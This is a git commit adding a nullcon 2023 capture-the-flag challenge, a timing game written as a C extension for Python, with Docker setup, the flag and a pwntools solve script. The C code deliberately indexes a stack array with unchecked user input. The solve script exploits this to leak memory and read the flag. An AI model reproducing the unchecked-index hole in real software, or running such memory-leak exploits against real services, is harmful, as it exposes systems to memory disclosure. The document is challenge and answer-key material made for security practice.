diff options
| author | Louis Burda <quent.burda@gmail.com> | 2025-01-17 23:45:00 +0100 |
|---|---|---|
| committer | Louis Burda <quent.burda@gmail.com> | 2025-01-17 23:45:00 +0100 |
| commit | 48cb64edfa5bcbd9485bbeda453549f216eed2a7 (patch) | |
| tree | 9c7268e9dddf051fe747902eac800a5dba277731 | |
| download | nullcon2023-spygame-master.tar.gz nullcon2023-spygame-master.zip | |
| -rw-r--r-- | .gitignore | 3 | ||||
| -rw-r--r-- | meta/solve.py | 68 | ||||
| -rw-r--r-- | server/.gitignore | 4 | ||||
| -rw-r--r-- | server/Dockerfile | 11 | ||||
| -rw-r--r-- | server/docker-compose.yml | 6 | ||||
| -rw-r--r-- | server/game.py | 32 | ||||
| -rw-r--r-- | server/secret.py | 1 | ||||
| -rw-r--r-- | server/setup.py | 12 | ||||
| -rw-r--r-- | server/spymodule.c | 123 | ||||
| l--------- | spygame/Dockerfile | 1 | ||||
| -rw-r--r-- | spygame/README | 6 | ||||
| l--------- | spygame/docker-compose.yml | 1 | ||||
| l--------- | spygame/game.py | 1 | ||||
| l--------- | spygame/setup.py | 1 | ||||
| l--------- | spygame/spymodule.c | 1 |
15 files changed, 271 insertions, 0 deletions
diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..18e6343 --- /dev/null +++ b/.gitignore @@ -0,0 +1,3 @@ +.cache +.gdb_history +__pycache__ diff --git a/meta/solve.py b/meta/solve.py new file mode 100644 index 0000000..e1b8192 --- /dev/null +++ b/meta/solve.py @@ -0,0 +1,68 @@ +from pwn import * +import psutil +import time + +io = remote("localhost", 9090) +if args.DEBUG: + time.sleep(1) + filter = lambda p : "game.py" in p.cmdline() + pid = [p.pid for p in psutil.process_iter() if filter(p)][0] + util.misc.run_in_new_terminal(f"sudo -E gdb --pid={pid}") + input() + +def leak(offset, unpack=True): + io.readuntil(b"Easy or Hard? ") + io.sendline(b"hard") + + io.readuntil("Ready? ") + io.sendline(b"") + + leak = [] + for i in range(8): + io.readuntil(b"Index 1: ") + io.sendline(str(0).encode()) + + io.readuntil(b"Index 2: ") + if offset < 0: + io.sendline(str((1 << 64) + offset + i).encode()) + else: + io.sendline(str(offset + i).encode()) + + line = io.readline() + leak.append(int(line.split(b" ")[1])) + + if unpack: + return struct.unpack("<Q", bytes(leak))[0] + else: + return bytes(leak) + +# stack_leak = leak(-0x28) +# numbers = stack_leak - 0x100 +# print("numbers", hex(numbers)) +# +# libc_leak = leak(-0x18) +# libc_clock_gettime = 0x00000000000cd6a0 +# libc_base = libc_leak - 29 - libc_clock_gettime +# print("libc", hex(libc_base)) +# +# libpython_base = libc_base + 0x1e7000 +# print("libpython", hex(libpython_base)) +# +# pythonvars_leak = libpython_base + 0x390858 +# vars_base = leak(pythonvars_leak - numbers) +# print("pythonvars", hex(vars_base)) +# +# flag_var = vars_base + 0x7fd00 +# print("flag", hex(flag_var)) + +#for i in range(10): +# print(leak(flag_var + i * 8 - numbers, False)) + +numbers = leak(-0x30) +print(numbers) +flagobj = leak(-0xb48) +print(flagobj) +flagstr = flagobj + 0x30 + +for i in range(4): + print(leak(flagstr + i * 8 - numbers, False)) diff --git a/server/.gitignore b/server/.gitignore new file mode 100644 index 0000000..61dd377 --- /dev/null +++ b/server/.gitignore @@ -0,0 +1,4 @@ +build +dist +*.egg-info +compile_commands.json diff --git a/server/Dockerfile b/server/Dockerfile new file mode 100644 index 0000000..3b15d17 --- /dev/null +++ b/server/Dockerfile @@ -0,0 +1,11 @@ +FROM ubuntu@sha256:c985bc3f77946b8e92c9a3648c6f31751a7dd972e06604785e47303f4ad47c4c + +RUN apt update && apt install -y socat python3 python3-pip + +RUN mkdir /app +COPY *.py *.c /app +WORKDIR /app +RUN python3 setup.py install + +EXPOSE 9090 +CMD ["socat", "TCP-LiSTEN:9090,FORK", "SYSTEM:'python3 game.py',user=nobody,group=nogroup"] diff --git a/server/docker-compose.yml b/server/docker-compose.yml new file mode 100644 index 0000000..7a11905 --- /dev/null +++ b/server/docker-compose.yml @@ -0,0 +1,6 @@ +version: "3" +services: + spygame: + build: . + ports: + - "9090:9090" diff --git a/server/game.py b/server/game.py new file mode 100644 index 0000000..863061c --- /dev/null +++ b/server/game.py @@ -0,0 +1,32 @@ +#!/usr/bin/env python3 + +import spy +from secret import flag + +print("Lets play a simple game!"); +print(""); +print("I'll give you a list of numbers, and you need to spy with"); +print("your little eye which two numbers in the list are swapped"); +print("as fast as possible!"); +print(""); + +while True: + print("--- New Game ---") + print() + + mode = input("Easy or Hard? ") + if mode.strip().lower() == "hard": + result = spy.hard() + elif mode.strip().lower() == "easy": + result = spy.easy() + else: + break + + if result == "REWARD": + print("Wow, you are really good. You deserve a reward!") + print("Here is a flag for you troubles:", flag) + elif result == "MOTIVATE": + print("Not too shabby. Try out the hard mode next!") + else: + print("Sorry, too slow. Better luck next time!") + print() diff --git a/server/secret.py b/server/secret.py new file mode 100644 index 0000000..ef62fa1 --- /dev/null +++ b/server/secret.py @@ -0,0 +1 @@ +flag = "ENO{L00kS_L1k3_Y0u_F0uNd_M3!!}" diff --git a/server/setup.py b/server/setup.py new file mode 100644 index 0000000..ecc91e6 --- /dev/null +++ b/server/setup.py @@ -0,0 +1,12 @@ +from distutils.core import setup, Extension + +def main(): + setup(name="spy", + version="1.0.0", + description="Spy Game Module", + author="Louis Burda", + author_email="quent.burda@gmail.com", + ext_modules=[Extension("spy", ["spymodule.c"])]) + +if __name__ == "__main__": + main() diff --git a/server/spymodule.c b/server/spymodule.c new file mode 100644 index 0000000..a33487a --- /dev/null +++ b/server/spymodule.c @@ -0,0 +1,123 @@ +#define PY_SSIZE_T_CLEAN +#include <Python.h> + +#include <bits/time.h> +#include <stdbool.h> +#include <stdio.h> + +static PyObject *spy_easy(PyObject *self, PyObject *args); +static PyObject *spy_hard(PyObject *self, PyObject *args); + +static PyMethodDef spy_methods[] = { + { "easy", spy_easy, METH_VARARGS, "Play Spy Game (Easy)" }, + { "hard", spy_hard, METH_VARARGS, "Play Spy Game (Hard)" }, + { 0 } +}; + +static struct PyModuleDef spy_module = { + PyModuleDef_HEAD_INIT, + "spy", + "Spy Game Module", + -1, + spy_methods, +}; + +PyObject * +spy_game(PyObject *self, PyObject *args, unsigned count) +{ + char user_input[256]; + uint8_t numbers[count]; + struct timespec start, end; + uint64_t start_ns, end_ns; + uint64_t total_ns, total_ok; + size_t swap1, swap2; + size_t swap1_in, swap2_in; + size_t i, k; + bool ok; + + if (!PyArg_ParseTuple(args, "")) + return NULL; + + printf("Ready? "); + getchar(); + printf("\n"); + + total_ok = 0; + total_ns = 0; + for (i = 0; i < 8; i++) { + for (k = 0; k < count; k++) + numbers[k] = k; + + swap1 = rand() % count; + swap2 = (swap1 + 1 + rand() % (count - 1)) % count; + + numbers[swap1] ^= numbers[swap2]; + numbers[swap2] ^= numbers[swap1]; + numbers[swap1] ^= numbers[swap2]; + + printf("Before: "); + for (k = 0; k < count; k++) + printf("%u ", numbers[k]); + printf("\n"); + + clock_gettime(CLOCK_REALTIME, &start); + start_ns = start.tv_nsec + start.tv_sec * 1e9; + + fflush(stdin); + + printf("Index 1: "); + (void)fgets(user_input, sizeof(user_input), stdin); + swap1_in = strtoull(user_input, NULL, 10); + + printf("Index 2: "); + (void)fgets(user_input, sizeof(user_input), stdin); + swap2_in = strtoull(user_input, NULL, 10); + + clock_gettime(CLOCK_REALTIME, &end); + end_ns = end.tv_nsec + end.tv_sec * 1e9; + + numbers[swap1_in] ^= numbers[swap2_in]; + numbers[swap2_in] ^= numbers[swap1_in]; + numbers[swap1_in] ^= numbers[swap2_in]; + + printf("After: "); + for (k = 0; k < count; k++) + printf("%u ", numbers[k]); + printf("\n"); + + ok = (swap1_in == swap1 && swap2_in == swap2) + || (swap1_in == swap2 && swap2_in == swap1); + printf("You answered %s in %lu nanoseconds!\n", + ok ? "correctly" : "incorrectly", + end_ns - start_ns); + printf("\n"); + + total_ok += ok; + total_ns += end_ns - start_ns; + } + + if (count == 256 && total_ok == 5 && total_ns < 1000) { + return PyUnicode_FromString("REWARD"); + } else if (count == 10 && total_ok == 5 && total_ns < 1e9 * 60) { + return PyUnicode_FromString("MOTIVATE"); + } + + return PyUnicode_FromString("SLOW"); +} + +PyObject * +spy_easy(PyObject *self, PyObject *args) +{ + return spy_game(self, args, 10); +} + +PyObject * +spy_hard(PyObject *self, PyObject *args) +{ + return spy_game(self, args, 256); +} + +PyMODINIT_FUNC PyInit_spy(void) { + setvbuf(stdout, NULL, _IONBF, 0); + return PyModule_Create(&spy_module); +}; diff --git a/spygame/Dockerfile b/spygame/Dockerfile new file mode 120000 index 0000000..eac64d3 --- /dev/null +++ b/spygame/Dockerfile @@ -0,0 +1 @@ +../server/Dockerfile
\ No newline at end of file diff --git a/spygame/README b/spygame/README new file mode 100644 index 0000000..48c7856 --- /dev/null +++ b/spygame/README @@ -0,0 +1,6 @@ +I made a fun and simple game! Find the two numbers in the given list which +are swapped fast enough and I'll reward you with a flag :) + +Im kind of n00b when it comes to python, so I decided to write most of +my game in C. I heard python uses C under the hood all the time.. +what could possibly go wrong? diff --git a/spygame/docker-compose.yml b/spygame/docker-compose.yml new file mode 120000 index 0000000..4495107 --- /dev/null +++ b/spygame/docker-compose.yml @@ -0,0 +1 @@ +../server/docker-compose.yml
\ No newline at end of file diff --git a/spygame/game.py b/spygame/game.py new file mode 120000 index 0000000..1f5c5b6 --- /dev/null +++ b/spygame/game.py @@ -0,0 +1 @@ +../server/game.py
\ No newline at end of file diff --git a/spygame/setup.py b/spygame/setup.py new file mode 120000 index 0000000..f0082bf --- /dev/null +++ b/spygame/setup.py @@ -0,0 +1 @@ +../server/setup.py
\ No newline at end of file diff --git a/spygame/spymodule.c b/spygame/spymodule.c new file mode 120000 index 0000000..283602f --- /dev/null +++ b/spygame/spymodule.c @@ -0,0 +1 @@ +../server/spymodule.c
\ No newline at end of file |
